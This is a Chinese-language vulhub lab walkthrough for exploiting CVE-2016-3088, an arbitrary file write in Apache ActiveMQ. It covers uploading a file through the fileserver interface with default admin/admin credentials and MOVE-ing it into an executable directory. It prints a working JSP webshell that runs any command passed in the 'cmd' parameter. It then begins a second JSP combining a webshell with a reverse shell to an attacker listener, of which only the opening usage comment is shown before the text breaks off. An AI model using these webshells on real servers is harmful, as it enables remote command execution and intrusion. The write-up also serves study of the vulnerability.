vulhub靶机activemq环境下的CVE-2016-3088（ActiveMQ任意文件写入漏洞）

本文介绍: ActiveMQ中存储文件的fileserver接口支持写入文件，但是没有执行权限。可以通过MOVE文件至其他可执行目录下，从而实现文件写入并访问。发现木马没有被解析，需要解析的话要将木马文件移动到api或者admin。编写jsp木马（网上找或者自动生成也可以）webshell进行连接(蚁剑连接有问题)上传文件（需要知道文件的绝对路径）记住需要登入之后再抓包猜能上传文件。登入还是admin/admin。我还是习惯于反弹shell。

影响范围

Apache ActiveMQ 5.x~5.14.0

ActiveMQ中存储文件的fileserver接口支持写入文件，但是没有执行权限。可以通过MOVE文件至其他可执行目录下，从而实现文件写入并访问。

漏洞搭建

没有特殊要求，请看

漏洞利用

访问一下

登入还是admin/admin

上传文件（需要知道文件的绝对路径）

编写jsp木马（网上找或者自动生成也可以）

反弹shell

木马


<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

记住需要登入之后再抓包猜能上传文件

发现木马没有被解析，需要解析的话要将木马文件移动到api或者admin

利用move指令

webshell进行连接(蚁剑连接有问题)

我还是习惯于反弹shell

<%
    /*
     * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
     * If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
     * Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing 
     * the command specified in the HTML form). This is to avoid to keep it simple.
